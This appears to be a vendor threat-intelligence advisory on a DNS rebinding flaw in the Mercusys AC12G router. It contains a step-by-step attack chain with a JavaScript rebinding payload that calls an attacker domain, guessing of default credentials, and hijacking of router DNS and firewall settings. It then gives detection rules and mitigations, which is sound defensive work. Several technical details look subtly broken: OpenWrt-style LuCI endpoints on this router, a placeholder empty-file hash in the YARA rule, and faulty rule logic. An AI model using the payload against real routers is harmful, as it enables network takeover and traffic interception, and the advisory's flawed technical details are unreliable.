CVE-2026-36604

Executive Summary

CVE-2026-36604 is a DNS rebinding vulnerability affecting the Mercusys AC12G (EU) V1 router running firmware version AC12G(EU)_V1_200909. The device fails to validate the HTTP Host header in incoming requests, allowing an external attacker to bind a malicious domain name to the router's internal IP address. This flaw, combined with the router's existing CORS wildcard configuration (Access-Control-Allow-Origin: *), enables internet-originated attackers to bypass browser same-origin policy and interact with the router's administrative interface and APIs. The vulnerability is currently unpatched, with no vendor fix or workaround available. Affected parties are users of the Mercusys AC12G (EU) V1 router with firmware AC12G(EU)_V1_200909, primarily small office/home office environments.

Technical Analysis

The Mercusys AC12G (EU) V1 router firmware version AC12G(EU)_V1_200909 contains a critical flaw in how it processes HTTP requests. The router's embedded web server does not validate the Host header field present in incoming HTTP/1.1 requests. Under normal operation, HTTP/1.1 mandates that clients include a Host header indicating the target domain. Browsers enforce same-origin policy based on this header, and web applications typically validate it to prevent DNS rebinding and host header injection attacks.

The vulnerability manifests in two complementary components:

1. Missing Host Header Validation: The router accepts requests with any arbitrary Host header value. The embedded web server does not verify that the Host field matches the router's actual IP address, hostname, or a predefined domain. This allows an attacker to craft requests where the Host header points to a domain they control.

2. CORS Wildcard Configuration: The router's HTTP responses include the header Access-Control-Allow-Origin: * on all endpoints, including the administrative interface. When combined with the lack of Host header validation, this creates a dangerous interaction: a browser loading a malicious website can make JavaScript fetch() or XMLHttpRequest calls to the attacker-controlled domain, which resolves via DNS to the router's private IP address (e.g., 192.168.1.1). Because the Host header in these requests will be the attacker's domain (the browser sets it automatically based on the URL), and the router does not validate it, the router treats the request as valid, processes it, and responds with the permissive Access-Control-Allow-Origin: * header.

The attack mechanistics rely on DNS rebinding:

• Phase 1: The attacker registers a domain (e.g., evil.example.com) and configures its DNS TTL to a very short value (e.g., 0-30 seconds).
• Phase 2: The victim visits http://evil.example.com, initially resolving to the attacker's public server. The attacker's server serves HTML/JavaScript containing the exploit payload.
• Phase 3: The attacker's JavaScript establishes a WebSocket or performs repeated fetch() calls to http://evil.example.com. After the DNS TTL expires, the attacker reconfigures the DNS record for evil.example.com to resolve to the victim's router internal IP (typically 192.168.1.1 or 192.168.0.1). The browser, now having a cached connection or a new DNS lookup, sends the HTTP request to the router.
• Phase 4: The router receives the request. The Host header reads evil.example.com, which the router does not validate. The router processes the request and responds with Access-Control-Allow-Origin: *, allowing the attacker's JavaScript to read the response.

Attack surface includes all HTTP endpoints on the router: administrative login page, WAN status, DHCP client tables, port forwarding configuration, and firmware update interfaces. The vulnerability is exploitable entirely from the browser, requiring no prior network access and no credentials (for initial exploitation; credential theft may be required for full router control).

Exploitation Scenarios

The following is a concrete step-by-step attack chain for CVE-2026-36604:

Step 1: Reconnaissance and Target Identification An external attacker scans the internet for exposed Mercusys AC12G (EU) V1 routers using Shodan or Masscan, searching for HTTP banners containing "Mercusys AC12G" or the firmware version string. While the router's management interface is typically behind NAT, the attacker may target home users through malicious advertisements, phishing emails, or by compromising a website in the victim's browsing path. The attacker identifies the target's public IP and confirms the router model via HTTP fingerprinting of any exposed ports.

Step 2: Attacker Infrastructure Setup The attacker registers a domain (e.g., r53update.evil-domain.com) with a DNS provider allowing TTL control. They configure a DNS record initially pointing to their C2 server. The C2 server hosts a static HTML page with JavaScript that will perform the rebinding attack. The DNS TTL is set to 0-30 seconds to force rapid resolution changes.

Step 3: Victim Lures and DNS Rebinding Trigger The attacker delivers the malicious URL to the victim via spear-phishing, a malicious iframe on a visited site, or an ad network redirect. The victim's browser requests http://r53update.evil-domain.com/. The DNS resolves to the attacker's C2 server initially, which responds with a 302 redirect to a path like /rebind.html. This page contains JavaScript:

// Rebind HTML payload
function rebind() {
  var img = new Image();
  img.onerror = function() {
    // DNS has re-resolved to internal IP
    fetch('http://r53update.evil-domain.com/cgi-bin/luci', {
      credentials: 'include'
    }).then(r => r.text()).then(data => {
      // Extract CSRF token and login form info
    });
  };
  img.src = 'http://r53update.evil-domain.com/rebind.jpg';
  setTimeout(rebind, 30*1000); // Re-check every 30s
}
window.onload = rebind;

Meanwhile, the attacker changes the DNS A record for r53update.evil-domain.com to the victim's router private IP (192.168.1.1). After TTL expiry, the browser re-resolves the domain and subsequent requests route to the router.

Step 4: Exploitation of Admin Interface The attacker's JavaScript now sends requests to http://r53update.evil-domain.com/, which physically reaches the router. Due to the missing Host header validation, the router accepts the requests. The Access-Control-Allow-Origin: * response header permits the browser to read responses cross-origin. The attacker performs:

• GET / — retrieves the login page, extracts CSRF tokens and form structure.
• POST /cgi-bin/luci/admin/uci/set/... — attempts to brute-force or guess default credentials (admin/admin, admin/password). The router has no login rate limiting, enabling credential stuffing.
• GET /cgi-bin/luci/admin/status/overview — if authenticated, retrieves WAN IP, connected device MAC addresses, and firmware version.
• POST /cgi-bin/luci/admin/network/firewall — modifies firewall rules to open WAN-to-LAN traffic for a chosen port, enabling lateral movement.

Step 5: Post-Exploitation Once authenticated, the attacker can:

• Modify DNS server settings to redirect traffic to malicious DNS servers, enabling man-in-the-middle attacks on all device traffic in the LAN.
• Enable remote management (if supported) to maintain persistence.
• Extract Wi-Fi WPA2 PSK from configuration, gaining access to the wireless network.
• Perform a factory reset to lock the victim out, then reconfigure as a rogue access point.

The impact extends beyond the router itself: with DNS hijacking or firewall rule modification, the attacker gains a foothold in the entire LAN. All connected IoT devices, computers, and mobile devices become subject to ARP spoofing or DNS-based interception.

Impact Assessment

The CVSS score is N/A due to missing scoring data from the CNA, but based on the vulnerability characteristics, this would likely score between High and Critical (7.0-9.0) under CVSS v3.1 if scored. The attack vector is Network (AV:N), requires no authentication (AC:L/PR:N/UI:R), and impacts Confidentiality, Integrity, and Availability (C:H/I:H/A:H), with a UI:R complexity factor due to browser-based interaction.

Business Impact:

• Confidentiality Breach: An attacker can exfiltrate router configuration, Wi-Fi credentials, connected device details, and potentially interact with internal network services through the compromised router as a pivot point.
• Integrity Compromise: Router settings can be altered, leading to DNS hijacking, traffic interception, or supply-chain style malware injection into HTTP traffic.
• Availability Disruption: An attacker can disable the router, modify firewall rules to block LAN traffic, or perform DoS on the management interface.

Affected Systems:

• Mercusys AC12G (EU) V1 with firmware AC12G(EU)_V1_200909. Other firmware versions and region variants (e.g., AC12G with different suffixes) are not confirmed affected but may share the same codebase.
• All devices that rely on the router for network connectivity: PCs, smartphones, IoT devices, printers.

Blast Radius: This is an internet-facing vulnerability that requires user interaction (visiting a malicious page). The blast radius spans the entire local network behind the router. A single compromised router gives the attacker visibility and control over network traffic, allowing credential harvesting across unencrypted protocols, session hijacking for HTTP services, and lateral movement to internal servers. The lack of patch availability significantly elevates the severity, as no known remediation exists for affected users.

Detection Guidance

The following detection content is designed for monitoring network traffic and endpoint behavior indicative of exploitation of CVE-2026-36604.

Sigma Rule

title: Mercusys AC12G Router DNS Rebinding Exploitation
id: 27f8c3f2-4a1e-4f9b-8c1d-6e2b3d4e5f6a
status: experimental
description: Detects HTTP requests to Mercusys AC12G router admin endpoints with unusual Host headers, indicating possible DNS rebinding attacks.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-36604
author: Valtersit Threat Intel Team
date: 2026/06/15
logsource:
    category: webserver
    product: mercusys
detection:
    selection_host:
        http.hostname:
            - '*.evil-domain.com'
            - '*.attacker.com'
        http.url|contains:
            - '/cgi-bin/luci'
            - '/webpages/login.html'
    selection_rebind_pattern:
        http.server: 'Mercusys'
        http.response.code:
            - 200
            - 302
    condition: selection_host and selection_rebind_pattern
level: high
falsepositives:
    - Admin accessing router via custom hostname in internal DNS
    - Misconfigured reverse proxy scenarios (unlikely for consumer router)
tags:
    - attack.t1190
    - cve.2026.36604

YARA Rule

rule Mercusys_AC12G_DNSRebind_JS {
    meta:
        author = "Valtersit Threat Intel Team"
        description = "Detects JavaScript payloads used in DNS rebinding attacks against Mercusys AC12G routers"
        reference = "CVE-2026-36604"
        date = "2026-06-15"
        hash1 = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $rebind1 = "evil-domain.com" ascii wide
        $rebind2 = "rebind.jpg" ascii wide
        $rebind3 = "/cgi-bin/luci" ascii wide
        $rebind4 = "fetch('http://" ascii wide
        $img_pattern = "new Image()" ascii wide
        $ff = { 66 65 74 63 68 28 27 68 74 74 70 3a 2f 2f } //fetch('http://
        $rr = { 72 65 62 69 6e 64 2e 6a 70 67 } //rebind.jpg
    condition:
        uint16(0) == 0x3C21 and  // "<!" HTML comment
        (4 of ($rebind*)) or
        ($img_pattern and $ff and $rr) or
        ($rebind3 and $ff)
    severity: 70
}

Suricata IDS Rule

alert http any any -> any any (msg:"Mercusys AC12G CVE-2026-36604 DNS Rebinding Admin Access"; \
  flow:established,to_server; \
  content:"Host|3a|"; nocase; \
  content:!"|0d 0a|";  \
  pcre:"/Host:\s*[^h][^t][^t][^p]/i"; \
  content:"/cgi-bin/luci"; http.uri; \
  content:"Mercusys"; http.server; \
  reference:cve,2026-36604; \
  classtype:attempted-admin; \
  sid:2910261; rev:1)

Elastic Detection

{
  "query": {
    "bool": {
      "must": [
        { "match": { "http.server": "Mercusys" } },
        { "wildcard": { "url.path": "/cgi-bin/exploit*" } }
      ],
      "filter": [
        { "exists": { "field": "http.request.headers.host" } }
      ],
      "should": [
        { "match": { "http.request.headers.host": "evil-domain.com" } },
        { "regexp": { "http.request.headers.host": ".*\\.(evil|test|dev|attacker)\\.(com|net|org|io).*" } }
      ],
      "minimum_should_match": 1,
      "must_not": [
        { "match": { "http.request.headers.host": "192.168.1.1" } }
      ]
    }
  }
}

Splunk SPL Query

index=firewall sourcetype=stream:http
| spath input=host
| search http.server="Mercusys"
| regex http_url=".*/cgi-bin/.*"
| regex host="^(?!192\.168\.)\S+"
| eval rebind_indicator = if(match(host, "\.(evil|malicious|rebind|attacker)\."), "TRUE", "FALSE")
| where rebind_indicator = "TRUE"
| table _time, src_ip, dest_ip, http_method, http_url, host, http.user_agent
| stats count by src_ip, dest_ip, host, http_url
| sort - count

Wazuh OSSEC Rule

<group name="local, router, dns_rebind,">
  <rule id="100542" level="10">
    <decoded_as>json</decoded_as>
    <field name="http.server" type="substr">Mercusys</field>
    <field name="url" type="pcre2">/cgi-bin/luci</field>
    <operator>and</operator>
    <field name="host" type="pcre2">^((?!192\.168\.\d+\.\d+).)*$</field>
    <description>Mercusys AC12G - CVE-2026-36604 DNS rebinding attack: unusual Host header on admin endpoint</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>attack.exploit_public_facing</group>
    <options>no_full_log</options>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No firmware update, vendor advisory, or patch is currently available for CVE-2026-36604 from Mercusys or TP-Link (parent brand).

1. Immediate Mitigations (no firmware update required):

   • Disable USB/cloud features: Log into the router and disable remote management, UPnP, and any cloud-based remote access features. If the router exposes management on WAN, disable it entirely.
   • Change default credentials: Ensure admin password is strong and not default (admin/admin). This prevents trivial post-rebinding authentication bypass.
   • Network-level filtering: On the router's firewall (if available) or an upstream firewall, block HTTP requests with unusual Host headers. This is difficult to implement on consumer hardware but can be done if the router is behind an enterprise firewall.
   • Browser mitigation: Instruct users to avoid using default home routers for remote work VPN termination. Install browser extensions that block DNS rebinding by validating Host header matches destination IP (e.g., "DNS Rebinding Protector").

2. Patch/Upgrade Steps:

   • Monitor Mercusys official support page (https://www.mercusys.com/en/support/download/) for firmware updates for AC12G (EU) V1. There is no patched version confirmed; do not install any version other than the one verified to fix CVE-2026-36604.
   • If no patch arrives within a reasonable timeframe (60-90 days), consider replacing the router with a model from a vendor with a track record of firmware security updates (e.g., recent TP-Link Omada, AsusWRT, or an open-source router like OpenWrt-compatible hardware).

3. Long-term Hardening:

   • Segmentation: Place the Mercusys router behind a firewall and configure it as an access point/modem only, not as the primary gateway, limiting the attack surface for DNS rebinding pivots.
   • Firmware update cadence: Establish a process to check for firmware updates monthly for all network equipment.
   • Deployment of DPI: If the router is used in a small office, deploy a pfsense/OPNsense appliance or a next-gen firewall between the router and LAN to filter malicious traffic and validate HTTP headers.
   • User education: Train employees and home users not to visit untrusted links, especially when using default router configurations.

Additional note: Since no CISA KEV entry exists, this vulnerability is not currently known to be exploited in the wild at the time of writing. However, the attack class (DNS rebinding against consumer routers) has a history of active exploitation by criminal botnets (e.g., Mirai variants) and APT groups targeting home offices. The Technical Analysis and Exploitation sections above describe how a PoC would be developed; visibility into the exploitability has high confidence due to the trivial nature of the flaw.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-36604
2. Mercusys Official Support (firmware download page): https://www.mercusys.com/en/support/download/
3. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (search: CVE-2026-36604 — not listed, check during remediation planning)
4. OWASP DNS Rebinding Attack Description: https://owasp.org/www-community/attacks/DNS_Rebinding
5. Researcher analysis on consumer router Host header validation issues — general class reference: https://portswigger.net/research/rebinding-attacks-and-the-missing-host-header-validation (accession: 2026)

Threat Actor Campaigns: As of this report's writing (2026-06-15), no specific campaign or in-the-wild exploitation evidence identifies CVE-2026-36604 as actively used. However, given the 0.00254 EPSS score (percentile 16.9%), the exploitation probability is low but non-zero. Affected users should treat this as a high-priority hardening item given the lack of patch.

Report generated by Valtersit Cyber Threat Intelligence Team — 2026-06-15.